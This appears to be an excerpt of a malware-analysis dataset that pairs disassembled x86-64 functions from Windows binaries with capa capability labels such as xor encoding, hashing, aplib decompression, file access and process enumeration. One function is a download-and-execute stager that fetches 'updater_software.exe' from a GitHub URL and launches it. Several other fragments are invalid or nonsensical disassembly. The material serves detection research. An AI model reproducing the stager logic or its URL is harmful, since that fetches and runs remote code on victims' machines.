joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003348
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x90]
add rax, 0xfffffffffffffff0
mov qword [rsp + 0xc8], rax
je 0x140002fc9
invalid
xchg ecx, eax

Function at 0x140003578
Capabilities:
Encode data using xor

Disassembly:
and al, 0x62
ficom dword [rbp + 0x4489d029]
sub eax, edx
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], ecx

Function at 0x140004dd4
Capabilities:
Encode data using xor

Disassembly:
lea rdx, [0x1400cc6c7]
mov eax, 0x4c5c7f6a
mov cx, 0x8b4a
mov ecx, 0x8d4c8b4a
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
mov qword [rsp + 0x118], r8
mov r9b, byte [rsp + 0x96]
mov byte [rsp + 0x167], r9b
mov byte [rsp + 0x167], cl
xor bp, 0xffff
mov word [rsp + 0x17e], bp
cmp rbx, rdi
invalid
invalid
sahf
cld
invalid

Function at 0x180e5f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x180e5f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180e5f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180e5f06f
add dl, dl
jne 0x180e5f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180e5f0f6
xor eax, eax
add dl, dl
jne 0x180e5f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180e5f1ad
add dl, dl
jne 0x180e5f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180e5f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180e5f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180e5f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180e5f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180e5f07e
mov eax, 1
add dl, dl
jne 0x180e5f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180e5f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180e5f0fb
sub eax, ebx
mov ebx, 1
jne 0x180e5f14c
mov ecx, 1
add dl, dl
jne 0x180e5f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180e5f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180e5f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180e5f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180e5f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180e5f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180e5f15d
cmp eax, 0x7d00
jae 0x180e5f19b
cmp eax, 0x500
jb 0x180e5f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180e5f07e
cmp eax, 0x7f
ja 0x180e5f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180e5f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180e5f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180e5f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000a1a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x14005a274], 0
jne 0x14000a19e
xor r8d, r8d
lea r9, [0x14005a270]
mov r10d, r8d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
test cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x14000a16c
mov dword [r9], r10d
inc r8d
add r9, 4
cmp r8d, 0x100
jb 0x14000a163
ret
jmp 0x14000a150
Function at 0x140010980
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx + 0x14], 0
mov rbx, rcx
jne 0x1400109b7
cmp qword [rcx + 8], 0xffffffffffffffff
je 0x1400109a3
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x140044528]
cmp byte [rbx + 0x21], 0
je 0x1400109b7
lea rcx, [rbx + 0x40]
add rsp, 0x20
pop rbx
jmp fcn.1400119b0
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140010cc8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x14], 1
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
jne 0x140010cfa
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbx + 8], rax
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140010d77
mov rcx, rbx
call fcn.140011194
test al, al
je 0x140010d3d
mov r8d, 0x4e20
cmp rsi, r8
jbe 0x140010d3d
mov rdx, rbp
mov rcx, rbx
call fcn.140010cc8
jmp 0x140010d7b
cmp dword [rbx + 0x14], 1
jne 0x140010d52
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x140010d52
xor eax, eax
jmp 0x140010d7b
cmp dword [rbx + 0x14], 0
jne 0x140010d72
mov edi, 0x8000
cmp rsi, rdi
jbe 0x140010d72
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x140010d72
mov r8d, edi
jmp 0x140010d30
or eax, 0xffffffff
jmp 0x140010d7b
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140014a6c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x140014adb
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001da4
nop
lea rcx, [rsp + 0x20]
call fcn.140001adc
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140001aec
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ebx, eax
lea rcx, [rsp + 0x20]
call fcn.140001adc
mov rdx, rax
mov rcx, rdi
call fcn.14000129c
test ebx, ebx
setne bl
lea rcx, [rsp + 0x20]
call fcn.140001af8
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14001822c
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140057038]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov esi, 1
mov rdi, rcx
cmp dword [rcx + 4], esi
jle 0x140018313
lea rbx, [r11 - 0x38]
sub rbx, rcx
lea rbp, [rcx + 0x2a]
sub rbx, 0x2a
lea r15, [0x140000000]
xor r9d, r9d
mov r10, rbp
lea r14, [rbx + r9]
mov r11d, 4
movzx eax, byte [r10 + 1]
lea rdx, [r9 + rax*4]
movzx eax, byte [r10 - 1]
mov r8b, byte [rdx + r15 + 0x60f70]
lea rcx, [r9 + rax*4]
movzx eax, byte [r10 - 2]
xor r8b, byte [rcx + r15 + 0x60770]
lea rcx, [r9 + rax*4]
movzx eax, byte [r10]
xor r8b, byte [rcx + r15 + 0x60370]
lea rcx, [r9 + rax*4]
xor r8b, byte [rcx + r15 + 0x60b70]
mov byte [r14 + r10], r8b
lea r10, [r10 + 4]
sub r11, 1
jne 0x14001828a
inc r9
cmp r9, 4
jl 0x14001827d
movsxd rcx, esi
lea r8d, [r11 + 0x10]
shl rcx, 4
lea rdx, [rsp + 0x20]
add rcx, 0x18
add rcx, rdi
call fcn.14002b4a0
inc esi
add rbp, 0x10
sub rbx, 0x10
cmp esi, dword [rdi + 4]
jl 0x14001827a
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400292c0
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret

Function at 0x140018870
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [0x140059400]
xor ebx, ebx
movzx ebp, r9b
mov r14b, r8b
mov rdi, rdx
mov rsi, rcx
test rax, rax
jne 0x1400188b7
lea rcx, [0x1400593f0]
call fcn.1400185f4
mov rax, qword [0x140059400]
mov rdx, rdi
mov r8d, ebp
and rdx, 0xfffffffffffffff0
test r14b, r14b
je 0x140018903
test rax, rax
je 0x140018925
mov rcx, rsi
call qword [0x140044528]
test eax, eax
jne 0x140018940
lea rdx, str.CryptProtectMemory_failed
lea rcx, [0x1400593e0]
call fcn.14000b76c
call fcn.14000bab8
mov edx, 2
lea rcx, [0x1400593e0]
call fcn.14000b9c8
jmp 0x140018940
mov rax, qword [0x140059408]
test rax, rax
je 0x140018925
mov rcx, rsi
call qword [0x140044528]
test eax, eax
jne 0x140018940
lea rdx, str.CryptUnprotectMemory_failed
jmp 0x1400188df
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test rdi, rdi
je 0x140018940
lea ecx, [rax + 0x4b]
add cl, bl
xor byte [rbx + rsi], cl
inc rbx
cmp rbx, rdi
jb 0x140018930
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14001917c
Capabilities:
Hash data using sha1

Disassembly:
and qword [rcx + 0x18], 0
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov dword [rcx + 0x10], 0xc3d2e1f0
ret

Function at 0x1400194a8
Capabilities:
Hash data using sha256

Disassembly:
and qword [rcx + 0x20], 0
mov dword [rcx], 0x6a09e667
mov dword [rcx + 4], 0xbb67ae85
mov dword [rcx + 8], 0x3c6ef372
mov dword [rcx + 0xc], 0xa54ff53a
mov dword [rcx + 0x10], 0x510e527f
mov dword [rcx + 0x14], 0x9b05688c
mov dword [rcx + 0x18], 0x1f83d9ab
mov dword [rcx + 0x1c], 0x5be0cd19
ret

Function at 0x140019770
Capabilities:
Hash data using sha256

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov ebx, dword [rcx + 0x20]
mov esi, 0x38
mov rbp, qword [rcx + 0x20]
and ebx, 0x3f
shl rbp, 3
mov r14, rdx
mov rdi, rcx
mov byte [rbx + rcx + 0x28], 0x80
inc ebx
cmp ebx, esi
je 0x1400197ea
jbe 0x1400197d5
lea edx, [rsi + 8]
cmp ebx, edx
jae 0x1400197cb
sub edx, ebx
mov ecx, ebx
add rcx, 0x28
mov r8d, edx
add rcx, rdi
xor edx, edx
call fcn.14002bb50
xor ebx, ebx
mov rcx, rdi
call fcn.1400194e8
sub esi, ebx
mov ecx, ebx
add rcx, 0x28
mov r8d, esi
add rcx, rdi
xor edx, edx
call fcn.14002bb50
mov rcx, rbp
lea rdx, [rdi + 0x60]
shr rcx, 0x20
call fcn.140019488
lea rdx, [rdi + 0x64]
mov ecx, ebp
call fcn.140019488
mov rcx, rdi
call fcn.1400194e8
mov ecx, dword [rdi]
mov rdx, r14
call fcn.140019488
mov ecx, dword [rdi + 4]
lea rdx, [r14 + 4]
call fcn.140019488
mov ecx, dword [rdi + 8]
lea rdx, [r14 + 8]
call fcn.140019488
mov ecx, dword [rdi + 0xc]
lea rdx, [r14 + 0xc]
call fcn.140019488
mov ecx, dword [rdi + 0x10]
lea rdx, [r14 + 0x10]
call fcn.140019488
mov ecx, dword [rdi + 0x14]
lea rdx, [r14 + 0x14]
call fcn.140019488
mov ecx, dword [rdi + 0x18]
lea rdx, [r14 + 0x18]
call fcn.140019488
mov ecx, dword [rdi + 0x1c]
lea rdx, [r14 + 0x1c]
call fcn.140019488
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.1400194a8
Function at 0x14001ad14
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x140057038]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rdi, rcx
mov edx, 0x104
lea rcx, [rbp - 0x29]
call fcn.140001da4
nop
lea rcx, [rbp - 0x29]
call fcn.140001aec
mov rdx, rax
lea rcx, [rbp - 0x29]
call fcn.140001adc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor ebx, ebx
test eax, eax
je 0x14001ade0
lea rcx, [rbp - 0x11]
call fcn.1400026bc
nop
mov rdx, rdi
lea rcx, [rbp + 0x2f]
call fcn.1400020b4
nop
lea rcx, [rbp - 0x29]
call fcn.140001adc
mov rdx, rax
lea rcx, [rbp + 0xf]
call fcn.1400020b4
nop
lea r8, [rbp - 0x11]
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.1400138f4
nop
lea rcx, [rbp + 0xf]
call fcn.140002254
nop
lea rcx, [rbp + 0x2f]
call fcn.140002254
lea rcx, [rbp - 0x11]
call fcn.14000128c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rcx, [rbp - 0x11]
call fcn.140002254
nop
lea rcx, [rbp - 0x29]
call fcn.140001af8
mov rax, rbx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400292c0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140028908
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x140028980
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x140028980
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x140028980
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x140028974
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x140028992
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140028962
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x140028982
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x140001000
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd8], rax
xor ebx, ebx
lea r8, str.updater_software.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__github.com_M1sch1ef037_dasdasdadasdasdsa_raw_main_updater_software.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400010d3
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x88], xmm0
lea rax, [rsp + 0xc0]
mov dword [rsp + 0x8c], 1
mov qword [rsp + 0x48], rax
lea rcx, str.updater_software.exe
lea rax, [rsp + 0x50]
mov word [rsp + 0x90], bx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
sete bl
mov eax, ebx
jmp 0x1400010d8
mov eax, 1
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001110
add rsp, 0xe0
pop rbx
ret

Function at 0x1400019d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a22
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a22
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a22
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a22
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a22
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a24
xor al, al
add rsp, 0x28
ret
Function at 0x140008510
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov rdi, rcx
xor sil, sil
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400085a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400085a9
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400085a6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140008580
jmp 0x1400085a9
mov sil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400ddbf0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140009060
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140009088
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400090ae
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400090b0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140009109
test ecx, ecx
jle 0x1400090e9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140009109
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140009109
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140009130
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140009152
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140009168
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140009184
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140009186
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400091c2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000925e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400091fd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000923e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000925e
cmp rbx, rax
ja 0x140009210
test rbx, rbx
je 0x14000925e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400096d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400096fd
xor eax, eax
jmp 0x140009869
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140009737
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140009737
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140009869
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000985c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000977a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400097a5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140009861
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009814
sub eax, 1
je 0x140009814
cmp eax, 2
jne 0x14000985c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140009861
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140009842
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000985c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140009861
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400ddbf0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000b090
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000b163
cmp byte [rcx + 0x71], 0
je 0x14000b163
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000b15f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000b124
sub eax, 1
je 0x14000b128
cmp eax, 2
jne 0x14000b15f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ddbf0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000b156
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000b15f
